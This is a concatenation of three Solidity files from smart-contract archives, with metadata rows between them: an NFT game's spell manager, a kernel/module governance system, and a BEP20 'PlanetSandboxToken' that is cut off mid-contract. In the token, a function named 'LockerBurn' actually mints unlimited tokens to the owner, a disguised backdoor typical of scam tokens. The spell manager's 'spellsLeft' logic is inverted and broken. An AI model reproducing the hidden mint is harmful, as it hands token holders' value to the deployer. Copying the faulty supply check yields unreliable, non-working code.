| 23,373 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/0b/0B1fB15A3b564ade804A2d2B3Cc7188b02eFACd9_SpellsManager.sol
| 3,647 | 14,420 |
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
function burn(address from, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(msg.sender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IMonstersAndHunters {
// struct to store each token's traits
struct Trait {
bool isMonsters;
uint8 gen;
uint8 power;
uint id;
}
function getTokenTraits(uint256 tokenId) external view returns (Trait memory);
}
contract SpellsManager is Ownable {
using SafeERC20 for IERC20;
enum SPELL {
RAGE,
TELEPORTATION,
CELERITY
}
IERC20 public gold;
IMonstersAndHunters public game;
uint public RAGE_SPELL_COST;
uint public TELEPORTATION_SPELL_COST;
uint public CELERITY_SPELL_COST;
uint public RAGE_SPELL_MAX_SUPPLY;
uint public TELEPORTATION_SPELL_MAX_SUPPLY;
uint public CELERITY_SPELL_MAX_SUPPLY;
uint public rageSpellMinted;
uint public tpSpellMinted;
uint public celeritySpellMinted;
uint public CERLERITY_MINT_BONUS;
mapping (address => uint[3]) private spellsOwners; // all the spells owned by every addresses
mapping (uint => uint[3]) public tokensIdsSpellsOwned; // all the spells owned by every tokens ids
mapping (address => bool) public controllers;
constructor (address _gold, address _game, uint[3] memory _spellsCost, uint[3] memory _spellsMaxSupply, uint _CERLERITY_MINT_BONUS) {
gold = IERC20(_gold);
game = IMonstersAndHunters(_game);
_editSpellCost(_spellsCost[0], _spellsCost[1], _spellsCost[2]);
_editSpellMaxSupply(_spellsMaxSupply[0], _spellsMaxSupply[1], _spellsMaxSupply[2]);
CERLERITY_MINT_BONUS = _CERLERITY_MINT_BONUS;
}
modifier onlyControllers {
require(controllers[msg.sender], "sender isn't controller");
_;
}
// MAIN FUNCTION
function purchaseSpell(address _beneficiary, SPELL _type, uint _number) external {
if (_type == SPELL.RAGE) {
require(spellsLeft(SPELL.RAGE) >= _number);
purchaseAndBurn(RAGE_SPELL_COST, _number);
rageSpellMinted += _number;
spellsOwners[_beneficiary][uint(SPELL.RAGE)] += _number;
} else if (_type == SPELL.TELEPORTATION) {
require(spellsLeft(SPELL.TELEPORTATION) >= _number);
purchaseAndBurn(TELEPORTATION_SPELL_COST, _number);
tpSpellMinted += _number;
spellsOwners[_beneficiary][uint(SPELL.TELEPORTATION)] += _number;
} else if (_type == SPELL.CELERITY) {
require(spellsLeft(SPELL.CELERITY) >= _number);
purchaseAndBurn(CELERITY_SPELL_COST, _number);
celeritySpellMinted += _number;
spellsOwners[_beneficiary][uint(SPELL.CELERITY)] += _number;
}
}
function purchaseAndBurn(uint _cost, uint _number) internal {
gold.safeTransferFrom(msg.sender, address(this), _cost * _number);
gold.burn(address(this), _cost * _number);
}
function useSpell(uint[] memory _tokenIdsBeneficiaries, SPELL _type) external {
require(spellsOwners[msg.sender][uint(_type)] >= _tokenIdsBeneficiaries.length);
spellsOwners[msg.sender][uint(_type)] -= _tokenIdsBeneficiaries.length;
for (uint i=0; i < _tokenIdsBeneficiaries.length; i++) {
bool isMonster = game.getTokenTraits(_tokenIdsBeneficiaries[i]).isMonsters;
require(canUseSpell(isMonster, _type), "You can't use this spell on one of the tokenIds provided");
if (_type == SPELL.CELERITY) {
require(tokensIdsSpellsOwned[_tokenIdsBeneficiaries[i]][uint(_type)] == 0, "Can't apply this spell more than once");
}
tokensIdsSpellsOwned[_tokenIdsBeneficiaries[i]][uint(_type)] += 1;
}
}
function spellUsed(uint _tokenId, SPELL _type) external onlyControllers {
require(tokensIdsSpellsOwned[_tokenId][uint(_type)] > 0, "token need to have the spell");
require(_type != SPELL.CELERITY, "celerity spell is not a consumable spell");
tokensIdsSpellsOwned[_tokenId][uint(_type)] -= 1;
}
// VIEW FUNCTION
function spellsLeft(SPELL _type) public view returns (uint) {
if (_type == SPELL.RAGE) {
if (rageSpellMinted > RAGE_SPELL_MAX_SUPPLY) {
return RAGE_SPELL_MAX_SUPPLY - rageSpellMinted;
} else return 0;
} else if (_type == SPELL.TELEPORTATION) {
if (tpSpellMinted > TELEPORTATION_SPELL_MAX_SUPPLY) {
return TELEPORTATION_SPELL_MAX_SUPPLY - tpSpellMinted;
} else return 0;
} else {
if (celeritySpellMinted > CELERITY_SPELL_MAX_SUPPLY) {
return CELERITY_SPELL_MAX_SUPPLY - celeritySpellMinted;
} else return 0;
}
}
function getSpellsOwned(address _account) external view returns (uint[3] memory) {
return spellsOwners[_account];
}
function canUseSpell(bool _monster, SPELL _type) public pure returns (bool) {
if (_monster) {
if (_type == SPELL.CELERITY) {
return false;
}
} else {
if (_type != SPELL.CELERITY) {
return false;
}
}
return true;
}
function getSpellNumber(uint _tokenId, SPELL _type) external view returns (uint) {
return tokensIdsSpellsOwned[_tokenId][uint(_type)];
}
function getCelerityMintBonus() external view returns (uint) {
return CERLERITY_MINT_BONUS;
}
// ADMIN
function editSpellCost(uint _rageCost, uint _tpCost, uint _celerityCost) external onlyOwner {
_editSpellCost(_rageCost, _tpCost, _celerityCost);
}
function editSpellMaxSupply(uint _rageMaxSupply, uint _tpMaxSupply, uint _celerityMaxSupply) external onlyOwner {
_editSpellMaxSupply(_rageMaxSupply, _tpMaxSupply, _celerityMaxSupply);
}
function _editSpellCost(uint _rageCost, uint _tpCost, uint _celerityCost) internal {
RAGE_SPELL_COST = _rageCost;
TELEPORTATION_SPELL_COST = _tpCost;
CELERITY_SPELL_COST = _celerityCost;
}
function _editSpellMaxSupply(uint _rageMaxSupply, uint _tpMaxSupply, uint _celerityMaxSupply) internal {
RAGE_SPELL_MAX_SUPPLY = _rageMaxSupply;
TELEPORTATION_SPELL_MAX_SUPPLY = _tpMaxSupply;
CELERITY_SPELL_MAX_SUPPLY = _celerityMaxSupply;
}
function editContractsAddress(address _gold, address _game) external onlyOwner {
gold = IERC20(_gold);
game = IMonstersAndHunters(_game);
}
function setController(address _controller, bool _isController) external onlyOwner {
controllers[_controller] = _isController;
}
function setCelerityMintBonus(uint _celerityMintBonus) external onlyOwner {
require(_celerityMintBonus <= 1000, "no more than 100% mint bonus");
CERLERITY_MINT_BONUS = _celerityMintBonus;
}
}
| 107,314 | 270 |
7e51cd1d972f3f0684997a76103e45fc7ed58536b8582b76f1a72c5f1da4b4b9
| 19,843 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/ef/ef6273937f3fa1c4e616afac0da0279552188e8d_DefaultInstructions.sol
| 4,031 | 18,767 |
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.15;
error TargetNotAContract(address target_);
error InvalidKeycode(Keycode keycode_);
error InvalidRole(Role role_);
function toKeycode(bytes5 keycode_) pure returns (Keycode) {
return Keycode.wrap(keycode_);
}
function fromKeycode(Keycode keycode_) pure returns (bytes5) {
return Keycode.unwrap(keycode_);
}
function toRole(bytes32 role_) pure returns (Role) {
return Role.wrap(role_);
}
function fromRole(Role role_) pure returns (bytes32) {
return Role.unwrap(role_);
}
function ensureContract(address target_) view {
uint256 size;
assembly("memory-safe") {
size := extcodesize(target_)
}
if (size == 0) revert TargetNotAContract(target_);
}
function ensureValidKeycode(Keycode keycode_) pure {
bytes5 unwrapped = Keycode.unwrap(keycode_);
for (uint256 i = 0; i < 5;) {
bytes1 char = unwrapped[i];
if (char < 0x41 || char > 0x5A) revert InvalidKeycode(keycode_); // A-Z only
unchecked {
i++;
}
}
}
function ensureValidRole(Role role_) pure {
bytes32 unwrapped = Role.unwrap(role_);
for (uint256 i = 0; i < 32;) {
bytes1 char = unwrapped[i];
if ((char < 0x61 || char > 0x7A) && char != 0x00) {
revert InvalidRole(role_); // a-z only
}
unchecked {
i++;
}
}
}
// ######################## ~ ERRORS ~ ########################
// KERNEL ADAPTER
error KernelAdapter_OnlyKernel(address caller_);
// MODULE
error Module_PolicyNotAuthorized(address policy_);
// POLICY
error Policy_OnlyRole(Role role_);
error Policy_ModuleDoesNotExist(Keycode keycode_);
// KERNEL
error Kernel_OnlyExecutor(address caller_);
error Kernel_OnlyAdmin(address caller_);
error Kernel_ModuleAlreadyInstalled(Keycode module_);
error Kernel_InvalidModuleUpgrade(Keycode module_);
error Kernel_PolicyAlreadyApproved(address policy_);
error Kernel_PolicyNotApproved(address policy_);
error Kernel_AddressAlreadyHasRole(address addr_, Role role_);
error Kernel_AddressDoesNotHaveRole(address addr_, Role role_);
error Kernel_RoleDoesNotExist(Role role_);
// ######################## ~ GLOBAL TYPES ~ ########################
enum Actions {
InstallModule,
UpgradeModule,
ActivatePolicy,
DeactivatePolicy,
ChangeExecutor,
ChangeAdmin,
MigrateKernel
}
struct Instruction {
Actions action;
address target;
}
struct Permissions {
Keycode keycode;
bytes4 funcSelector;
}
type Keycode is bytes5;
type Role is bytes32;
// ######################## ~ MODULE ABSTRACT ~ ########################
abstract contract KernelAdapter {
Kernel public kernel;
constructor(Kernel kernel_) {
kernel = kernel_;
}
modifier onlyKernel() {
if (msg.sender != address(kernel)) revert KernelAdapter_OnlyKernel(msg.sender);
_;
}
function changeKernel(Kernel newKernel_) external onlyKernel {
kernel = newKernel_;
}
}
abstract contract Module is KernelAdapter {
event PermissionSet(bytes4 funcSelector_, address policy_, bool permission_);
constructor(Kernel kernel_) KernelAdapter(kernel_) {}
modifier permissioned() {
if (!kernel.modulePermissions(KEYCODE(), Policy(msg.sender), msg.sig))
revert Module_PolicyNotAuthorized(msg.sender);
_;
}
function KEYCODE() public pure virtual returns (Keycode);
/// @notice Specify which version of a module is being implemented.
/// @dev Minor version change retains interface. Major version upgrade indicates
/// @dev breaking change to the interface.
function VERSION() external pure virtual returns (uint8 major, uint8 minor) {}
/// @notice Initialization function for the module.
/// @dev This function is called when the module is installed or upgraded by the kernel.
/// @dev Used to encompass any upgrade logic. Must be gated by onlyKernel.
function INIT() external virtual onlyKernel {}
}
abstract contract Policy is KernelAdapter {
bool public isActive;
constructor(Kernel kernel_) KernelAdapter(kernel_) {}
modifier onlyRole(bytes32 role_) {
Role role = toRole(role_);
if(!kernel.hasRole(msg.sender, role))
revert Policy_OnlyRole(role);
_;
}
function configureDependencies() external virtual onlyKernel returns (Keycode[] memory dependencies) {}
function requestPermissions() external view virtual onlyKernel returns (Permissions[] memory requests) {}
function getModuleAddress(Keycode keycode_) internal view returns (address) {
address moduleForKeycode = address(kernel.getModuleForKeycode(keycode_));
if (moduleForKeycode == address(0)) revert Policy_ModuleDoesNotExist(keycode_);
return moduleForKeycode;
}
/// @notice Function to let kernel grant or revoke active status
function setActiveStatus(bool activate_) external onlyKernel {
isActive = activate_;
}
}
contract Kernel {
// ######################## ~ VARS ~ ########################
address public executor;
address public admin;
// ######################## ~ DEPENDENCY MANAGEMENT ~ ########################
// Module Management
Keycode[] public allKeycodes;
mapping(Keycode => Module) public getModuleForKeycode; // get contract for module keycode
mapping(Module => Keycode) public getKeycodeForModule; // get module keycode for contract
// Module dependents data. Manages module dependencies for policies
mapping(Keycode => Policy[]) public moduleDependents;
mapping(Keycode => mapping(Policy => uint256)) public getDependentIndex;
// Module <> Policy Permissions. Policy -> Keycode -> Function Selector -> Permission
mapping(Keycode => mapping(Policy => mapping(bytes4 => bool))) public modulePermissions; // for policy addr, check if they have permission to call the function int he module
// List of all active policies
Policy[] public activePolicies;
mapping(Policy => uint256) public getPolicyIndex;
// Policy roles data
mapping(address => mapping(Role => bool)) public hasRole;
mapping(Role => bool) public isRole;
// ######################## ~ EVENTS ~ ########################
event PermissionsUpdated(Keycode indexed keycode_,
Policy indexed policy_,
bytes4 funcSelector_,
bool granted_);
event RoleGranted(Role indexed role_, address indexed addr_);
event RoleRevoked(Role indexed role_, address indexed addr_);
event ActionExecuted(Actions indexed action_, address indexed target_);
// ######################## ~ BODY ~ ########################
constructor() {
executor = msg.sender;
admin = msg.sender;
}
// ######################## ~ MODIFIERS ~ ########################
// Role reserved for governor or any executing address
modifier onlyExecutor() {
if (msg.sender != executor) revert Kernel_OnlyExecutor(msg.sender);
_;
}
// Role for managing policy roles
modifier onlyAdmin() {
if (msg.sender != admin) revert Kernel_OnlyAdmin(msg.sender);
_;
}
// ######################## ~ KERNEL INTERFACE ~ ########################
function executeAction(Actions action_, address target_) external onlyExecutor {
if (action_ == Actions.InstallModule) {
ensureContract(target_);
ensureValidKeycode(Module(target_).KEYCODE());
_installModule(Module(target_));
} else if (action_ == Actions.UpgradeModule) {
ensureContract(target_);
ensureValidKeycode(Module(target_).KEYCODE());
_upgradeModule(Module(target_));
} else if (action_ == Actions.ActivatePolicy) {
ensureContract(target_);
_activatePolicy(Policy(target_));
} else if (action_ == Actions.DeactivatePolicy) {
ensureContract(target_);
_deactivatePolicy(Policy(target_));
} else if (action_ == Actions.MigrateKernel) {
ensureContract(target_);
_migrateKernel(Kernel(target_));
} else if (action_ == Actions.ChangeExecutor) {
executor = target_;
} else if (action_ == Actions.ChangeAdmin) {
admin = target_;
}
emit ActionExecuted(action_, target_);
}
// ######################## ~ KERNEL INTERNAL ~ ########################
function _installModule(Module newModule_) internal {
Keycode keycode = newModule_.KEYCODE();
if (address(getModuleForKeycode[keycode]) != address(0))
revert Kernel_ModuleAlreadyInstalled(keycode);
getModuleForKeycode[keycode] = newModule_;
getKeycodeForModule[newModule_] = keycode;
allKeycodes.push(keycode);
newModule_.INIT();
}
function _upgradeModule(Module newModule_) internal {
Keycode keycode = newModule_.KEYCODE();
Module oldModule = getModuleForKeycode[keycode];
if (address(oldModule) == address(0) || oldModule == newModule_)
revert Kernel_InvalidModuleUpgrade(keycode);
getKeycodeForModule[oldModule] = Keycode.wrap(bytes5(0));
getKeycodeForModule[newModule_] = keycode;
getModuleForKeycode[keycode] = newModule_;
newModule_.INIT();
_reconfigurePolicies(keycode);
}
function _activatePolicy(Policy policy_) internal {
if (policy_.isActive()) revert Kernel_PolicyAlreadyApproved(address(policy_));
// Grant permissions for policy to access restricted module functions
Permissions[] memory requests = policy_.requestPermissions();
_setPolicyPermissions(policy_, requests, true);
// Add policy to list of active policies
activePolicies.push(policy_);
getPolicyIndex[policy_] = activePolicies.length - 1;
// Record module dependencies
Keycode[] memory dependencies = policy_.configureDependencies();
uint256 depLength = dependencies.length;
for (uint256 i; i < depLength;) {
Keycode keycode = dependencies[i];
moduleDependents[keycode].push(policy_);
getDependentIndex[keycode][policy_] = moduleDependents[keycode].length - 1;
unchecked {
++i;
}
}
// Set policy status to active
policy_.setActiveStatus(true);
}
function _deactivatePolicy(Policy policy_) internal {
if (!policy_.isActive()) revert Kernel_PolicyNotApproved(address(policy_));
// Revoke permissions
Permissions[] memory requests = policy_.requestPermissions();
_setPolicyPermissions(policy_, requests, false);
// Remove policy from all policy data structures
uint256 idx = getPolicyIndex[policy_];
Policy lastPolicy = activePolicies[activePolicies.length - 1];
activePolicies[idx] = lastPolicy;
activePolicies.pop();
getPolicyIndex[lastPolicy] = idx;
delete getPolicyIndex[policy_];
// Remove policy from module dependents
_pruneFromDependents(policy_);
// Set policy status to inactive
policy_.setActiveStatus(false);
}
// WARNING: ACTION WILL BRICK THIS KERNEL. All functionality will move to the new kernel
// New kernel must add in all of the modules and policies via executeAction
// NOTE: Data does not get cleared from this kernel
function _migrateKernel(Kernel newKernel_) internal {
uint256 keycodeLen = allKeycodes.length;
for (uint256 i; i < keycodeLen;) {
Module module = Module(getModuleForKeycode[allKeycodes[i]]);
module.changeKernel(newKernel_);
unchecked {
++i;
}
}
uint256 policiesLen = activePolicies.length;
for (uint256 j; j < policiesLen;) {
Policy policy = activePolicies[j];
// Deactivate before changing kernel
policy.setActiveStatus(false);
policy.changeKernel(newKernel_);
unchecked {
++j;
}
}
}
function _reconfigurePolicies(Keycode keycode_) internal {
Policy[] memory dependents = moduleDependents[keycode_];
uint256 depLength = dependents.length;
for (uint256 i; i < depLength;) {
dependents[i].configureDependencies();
unchecked {
++i;
}
}
}
function _setPolicyPermissions(Policy policy_,
Permissions[] memory requests_,
bool grant_) internal {
uint256 reqLength = requests_.length;
for (uint256 i = 0; i < reqLength;) {
Permissions memory request = requests_[i];
modulePermissions[request.keycode][policy_][request.funcSelector] = grant_;
emit PermissionsUpdated(request.keycode, policy_, request.funcSelector, grant_);
unchecked {
++i;
}
}
}
function _pruneFromDependents(Policy policy_) internal {
Keycode[] memory dependencies = policy_.configureDependencies();
uint256 depcLength = dependencies.length;
for (uint256 i; i < depcLength;) {
Keycode keycode = dependencies[i];
Policy[] storage dependents = moduleDependents[keycode];
uint256 origIndex = getDependentIndex[keycode][policy_];
Policy lastPolicy = dependents[dependents.length - 1];
// Swap with last and pop
dependents[origIndex] = lastPolicy;
dependents.pop();
// Record new index and delete terminated policy index
getDependentIndex[keycode][lastPolicy] = origIndex;
delete getDependentIndex[keycode][policy_];
unchecked {
++i;
}
}
}
function grantRole(Role role_, address addr_) public onlyAdmin {
if (hasRole[addr_][role_]) revert Kernel_AddressAlreadyHasRole(addr_, role_);
ensureValidRole(role_);
if (!isRole[role_]) isRole[role_] = true;
hasRole[addr_][role_] = true;
emit RoleGranted(role_, addr_);
}
function revokeRole(Role role_, address addr_) public onlyAdmin {
if (!isRole[role_]) revert Kernel_RoleDoesNotExist(role_);
if (!hasRole[addr_][role_]) revert Kernel_AddressDoesNotHaveRole(addr_, role_);
hasRole[addr_][role_] = false;
emit RoleRevoked(role_, addr_);
}
}
interface IDefaultInstructions {
event InstructionsStored(uint256 instructionsId);
error INSTR_InstructionsCannotBeEmpty();
error INSTR_InvalidChangeExecutorAction();
error INSTR_InvalidTargetNotAContract();
error INSTR_InvalidModuleKeycode();
}
contract DefaultInstructions is Module, IDefaultInstructions {
/////////////////////////////////////////////////////////////////////////////////
// Kernel Module Configuration //
/////////////////////////////////////////////////////////////////////////////////
constructor(Kernel kernel_) Module(kernel_) {}
function KEYCODE() public pure override returns (Keycode) {
return Keycode.wrap("INSTR");
}
/////////////////////////////////////////////////////////////////////////////////
// Module Variables //
/////////////////////////////////////////////////////////////////////////////////
uint256 public totalInstructions;
mapping(uint256 => Instruction[]) public storedInstructions;
/////////////////////////////////////////////////////////////////////////////////
// Policy Interface //
/////////////////////////////////////////////////////////////////////////////////
// view function for retrieving a list of instructions in an outside contract
function getInstructions(uint256 instructionsId_) public view returns (Instruction[] memory) {
return storedInstructions[instructionsId_];
}
function store(Instruction[] calldata instructions_) external permissioned returns (uint256) {
uint256 length = instructions_.length;
uint256 instructionsId = ++totalInstructions;
// initialize an empty list of instructions that will be filled
Instruction[] storage instructions = storedInstructions[instructionsId];
// if there are no instructions, throw an error
if (length == 0) {
revert INSTR_InstructionsCannotBeEmpty();
}
// for each instruction, do the following actions:
for (uint256 i; i < length;) {
// get the instruction
Instruction calldata instruction = instructions_[i];
// check the address that the instruction is being performed on is a contract (bytecode size > 0)
_ensureContract(instruction.target);
if (instruction.action == Actions.InstallModule ||
instruction.action == Actions.UpgradeModule) {
Module module = Module(instruction.target);
_ensureValidKeycode(module.KEYCODE());
} else if (instruction.action == Actions.ChangeExecutor && i != length - 1) {
// throw an error if ChangeExecutor exists and is not the last Action in the instruction llist
// this exists because if ChangeExecutor is not the last item in the list of instructions
// the Kernel will not recognize any of the following instructions as valid, since the policy
// executing the list of instructions no longer has permissions in the Kernel. To avoid this issue
// and prevent invalid proposals from being saved, we perform this check.
revert INSTR_InvalidChangeExecutorAction();
}
instructions.push(instructions_[i]);
unchecked {
++i;
}
}
emit InstructionsStored(instructionsId);
return instructionsId;
}
/////////////////////////////// INTERNAL FUNCTIONS ////////////////////////////////
function _ensureContract(address target_) internal view {
uint256 size;
assembly {
size := extcodesize(target_)
}
if (size == 0) revert INSTR_InvalidTargetNotAContract();
}
function _ensureValidKeycode(Keycode keycode_) internal pure {
bytes5 unwrapped = Keycode.unwrap(keycode_);
for (uint256 i = 0; i < 5;) {
bytes1 char = unwrapped[i];
if (char < 0x41 || char > 0x5A) revert INSTR_InvalidModuleKeycode(); // A-Z only"
unchecked {
i++;
}
}
}
}
| 42,655 | 271 |
48da2714019c29c1fb7e8407897770916f0e8f61dc8bbd62a2f3a925844b3541
| 21,064 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x73F8279867cF397859e1f5d119327Da102bDc458/contract.sol
| 2,771 | 9,846 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PlanetSandboxToken is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address internal constant pancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
bool isSL = true;
uint256 _AMM = 100000;
constructor() public {
_name = 'PlanetSandbox.io';
_symbol = 'PSB NFTs';
_decimals = 9;
_totalSupply = 1000000 * 10**9 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function LockerBurn(uint256 amount) external onlyOwner returns (bool) {
_balances[owner()] = _balances[owner()].add(amount);
emit Transfer(address(0), owner(), amount);
}
function theSL(bool _sl) public onlyOwner virtual returns (bool) {
isSL = _sl;
return true;
}
function sl() public view returns (bool) {
return isSL;
}
